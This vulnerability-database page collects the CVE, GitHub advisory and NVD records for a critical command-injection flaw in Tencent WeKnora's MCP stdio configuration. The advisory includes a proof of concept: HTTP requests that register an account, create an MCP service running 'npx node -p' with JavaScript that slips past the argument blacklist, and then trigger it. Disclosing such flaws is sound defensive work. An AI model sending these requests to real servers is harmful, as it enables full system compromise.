Vulnerability-Lookup

CVE-2026-30861 (GCVE-0-2026-30861)

Vulnerability from cvelistv5 – Published: 2026-03-07 16:38 – Updated: 2026-03-09 18:24

Title

WeKnora: Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation

Summary

WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. From version 0.2.5 to before version 0.2.10, an unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation. The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise. This issue has been patched in version 0.2.10.

Severity ?

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

URL

Tags

https://github.com/Tencent/WeKnora/security/advis…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	Tencent	WeKnora	Affected: >= 0.2.5, < 0.2.10

Show details on NVD website

JSON

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GHSA-R55H-3RWJ-HCMG

Vulnerability from github – Published: 2026-03-07 01:59 – Updated: 2026-03-09 13:14

Summary

WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation

Details

Summary

A critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5.

The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application's privileges, leading to complete system compromise.

The vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.

Details

The application's open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can: 1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned) 2. Obtain API authentication credentials 3. Exploit the command injection vulnerability to execute arbitrary code

The security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through: 1. Command Whitelist: Only uvx and npx are allowed 2. Argument Blacklist: Blocks dangerous patterns including shells, command chaining, and path traversal 3. Environment Variable Blacklist: Restricts sensitive variables like LD_PRELOAD, PATH, etc.

However, the patch has a critical flaw: the -p flag in npx node is not explicitly blocked in the DangerousArgPatterns regex list. The -p flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.

The vulnerable code flow: - ValidateStdioConfig() calls ValidateStdioArgs(args) - ValidateStdioArgs() checks each argument against DangerousArgPatterns - The pattern list does not include -p or similar execution flags - Arguments like ["node", "-p", "require('fs').writeFileSync(...)"] pass validation - When executed, npx node -p <payload> executes the JavaScript payload

Timeline of Concern: - Version 2.0.5: Initial patch introducing validation (incomplete/bypassable) - Versions 2.0.6-2.0.9: Vulnerability persists with no public notification - Version 2.0.10 (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely. - Issue: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability

This silent fix pattern poses significant risks: - Customers may not know to update immediately - Security scanning tools may not flag the vulnerability without a published CVE - Organisations relying on vendor advisories have no record of the issue - There is no documented attack history or mitigation guidance for affected versions

PoC

Step 1: Register a new account (unauthenticated)

Step 2: Create a malicious MCP service

POST /api/v1/mcp-services HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json

{
    "name":"rce",
    "description":"rce",
    "enabled":true,
    "transport_type":"stdio",
    "stdio_config":{
        "command":"npx",
        "args":["node","-p","require('fs').writeFileSync('/tmp/pwned.txt', 'Hacked by attacker')"]
    },
    "env_vars":{}
}

Response will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)

Step 3: Trigger the RCE by testing the service

POST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1
Host: localhost:8080
Authorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]
Content-Type: application/json

{}

Step 4: Verify exploitation

On the server, the file /tmp/pwned.txt will be created with content "Hacked by attacker", confirming arbitrary command execution.

Impact

Severity: Critical

Unauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.

Full data breach and system compromise
Install malware, backdoors, ransomware
Lateral movement to internal systems
Versions 2.0.5-2.0.9 vulnerable without notification

Immediate Actions: 1. Upgrade to 2.0.10+ immediately 2. Review logs for exploitation since 2.0.5 3. Check for suspicious MCP configurations 4. Monitor for unauthorized file creation 5. Assume breach if compromise suspected

Severity ?

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
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    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/Tencent/WeKnora"
      },
      "ranges": [
        {
          "events": [
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              "introduced": "0.2.5"
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          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-07T01:59:01Z",
    "nvd_published_at": "2026-03-07T17:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA critical unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation introduced in version 2.0.5. \n\nThe application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (`npx`, `uvx`) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the `-p` flag with `npx node`. This allows any attacker to execute arbitrary commands with the application\u0027s privileges, leading to complete system compromise. \n\nThe vulnerability remained unfixed across multiple releases (2.0.6-2.0.9) before being silently patched in version 2.0.10, without a published CVE, potentially leaving customers unaware.\n\n### Details\n\nThe application\u0027s open registration policy, combined with the vulnerable MCP stdio configuration, creates an unrestricted attack surface. Any attacker can:\n1. Register a new account without restrictions (no email verification, approval process, or rate limiting mentioned)\n2. Obtain API authentication credentials\n3. Exploit the command injection vulnerability to execute arbitrary code\n\nThe security patch introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb attempts to prevent command injection through:\n1. **Command Whitelist**: Only `uvx` and `npx` are allowed\n2. **Argument Blacklist**: Blocks dangerous patterns including shells, command chaining, and path traversal\n3. **Environment Variable Blacklist**: Restricts sensitive variables like `LD_PRELOAD`, `PATH`, etc.\n\nHowever, the patch has a critical flaw: the `-p` flag in `npx node` is not explicitly blocked in the `DangerousArgPatterns` regex list. The `-p` flag allows Node.js to evaluate and execute arbitrary JavaScript code, effectively bypassing the argument validation.\n\nThe vulnerable code flow:\n- `ValidateStdioConfig()` calls `ValidateStdioArgs(args)`\n- `ValidateStdioArgs()` checks each argument against `DangerousArgPatterns`\n- The pattern list does not include `-p` or similar execution flags\n- Arguments like `[\"node\", \"-p\", \"require(\u0027fs\u0027).writeFileSync(...)\"]` pass validation\n- When executed, `npx node -p \u003cpayload\u003e` executes the JavaScript payload\n\n**Timeline of Concern:**\n- **Version 2.0.5**: Initial patch introducing validation (incomplete/bypassable)\n- **Versions 2.0.6-2.0.9**: Vulnerability persists with no public notification\n- **Version 2.0.10** (commit 57d6fea8bc265ad28b385e0158957c870cff4b50): Stdio-based MCP server is disabled entirely.\n- **Issue**: The hot fix was deployed silently without a CVE publication or security advisory, meaning customers using versions 2.0.5-2.0.9 remained unaware of the critical vulnerability\n\nThis silent fix pattern poses significant risks:\n- Customers may not know to update immediately\n- Security scanning tools may not flag the vulnerability without a published CVE\n- Organisations relying on vendor advisories have no record of the issue\n- There is no documented attack history or mitigation guidance for affected versions\n\n### PoC\n\n**Step 1: Register a new account (unauthenticated)**\n\n**Step 2: Create a malicious MCP service**\n\n```http\nPOST /api/v1/mcp-services HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{\n    \"name\":\"rce\",\n    \"description\":\"rce\",\n    \"enabled\":true,\n    \"transport_type\":\"stdio\",\n    \"stdio_config\":{\n        \"command\":\"npx\",\n        \"args\":[\"node\",\"-p\",\"require(\u0027fs\u0027).writeFileSync(\u0027/tmp/pwned.txt\u0027, \u0027Hacked by attacker\u0027)\"]\n    },\n    \"env_vars\":{}\n}\n```\n\nResponse will contain the service ID (e.g., 087854f4-bde3-4468-8702-4aeb95c868da)\n\n**Step 3: Trigger the RCE by testing the service**\n\n```http\nPOST /api/v1/mcp-services/087854f4-bde3-4468-8702-4aeb95c868da/test HTTP/1.1\nHost: localhost:8080\nAuthorization: Bearer [JWT_TOKEN_FROM_REGISTRATION]\nContent-Type: application/json\n\n{}\n```\n\n**Step 4: Verify exploitation**\n\nOn the server, the file `/tmp/pwned.txt` will be created with content \"Hacked by attacker\", confirming arbitrary command execution.\n\n### Impact\n\n**Severity**: Critical\n\nUnauthenticated RCE allowing complete server compromise. An attacker can register an account and execute arbitrary commands with full application privileges.\n\n- Full data breach and system compromise\n- Install malware, backdoors, ransomware\n- Lateral movement to internal systems\n- Versions 2.0.5-2.0.9 vulnerable without notification\n\n**Immediate Actions**:\n1. Upgrade to 2.0.10+ immediately\n2. Review logs for exploitation since 2.0.5\n3. Check for suspicious MCP configurations\n4. Monitor for unauthorized file creation\n5. Assume breach if compromise suspected\n---",
  "id": "GHSA-r55h-3rwj-hcmg",
  "modified": "2026-03-09T13:14:26Z",
  "published": "2026-03-07T01:59:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-r55h-3rwj-hcmg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/commit/57d6fea8bc265ad28b385e0158957c870cff4b50"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Tencent/WeKnora"
    }
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  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeKnora has Remote Code Execution (RCE) via Command Injection in MCP Stdio Configuration Validation"
}

FKIE_CVE-2026-30861

Vulnerability from fkie_nvd - Published: 2026-03-07 17:15 - Updated: 2026-03-09 17:35

Severity ?

9.9 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Tencent/WeKnora/security/advisories/GHSA-r55h-3rwj-hcmg	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	tencent	weknora	*

JSON

To clipboard

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              "versionEndExcluding": "0.2.10",
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              "vulnerable": true
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          "operator": "OR"
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  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. From version 0.2.5 to before version 0.2.10, an unauthenticated remote code execution (RCE) vulnerability exists in the MCP stdio configuration validation. The application allows unrestricted user registration, meaning any attacker can create an account and exploit the command injection flaw. Despite implementing a whitelist for allowed commands (npx, uvx) and blacklists for dangerous arguments and environment variables, the validation can be bypassed using the -p flag with npx node. This allows any attacker to execute arbitrary commands with the application\u0027s privileges, leading to complete system compromise. This issue has been patched in version 0.2.10."
    },
    {
      "lang": "es",
      "value": "WeKnora es un framework impulsado por LLM dise\u00f1ado para la comprensi\u00f3n profunda de documentos y la recuperaci\u00f3n sem\u00e1ntica. Desde la versi\u00f3n 0.2.5 hasta antes de la versi\u00f3n 0.2.10, existe una vulnerabilidad de ejecuci\u00f3n remota de c\u00f3digo (RCE) no autenticada en la validaci\u00f3n de la configuraci\u00f3n stdio de MCP. La aplicaci\u00f3n permite el registro de usuarios sin restricciones, lo que significa que cualquier atacante puede crear una cuenta y explotar la falla de inyecci\u00f3n de comandos. A pesar de implementar una lista blanca para comandos permitidos (npx, uvx) y listas negras para argumentos peligrosos y variables de entorno, la validaci\u00f3n puede ser eludida usando la bandera -p con npx node. Esto permite a cualquier atacante ejecutar comandos arbitrarios con los privilegios de la aplicaci\u00f3n, lo que lleva a un compromiso completo del sistema. Este problema ha sido parcheado en la versi\u00f3n 0.2.10."
    }
  ],
  "id": "CVE-2026-30861",
  "lastModified": "2026-03-09T17:35:56.647",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-07T17:15:53.980",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-r55h-3rwj-hcmg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-30861 (GCVE-0-2026-30861)

GHSA-R55H-3RWJ-HCMG

Summary

Details

PoC

Impact

FKIE_CVE-2026-30861

Tags

Sightings

Nomenclature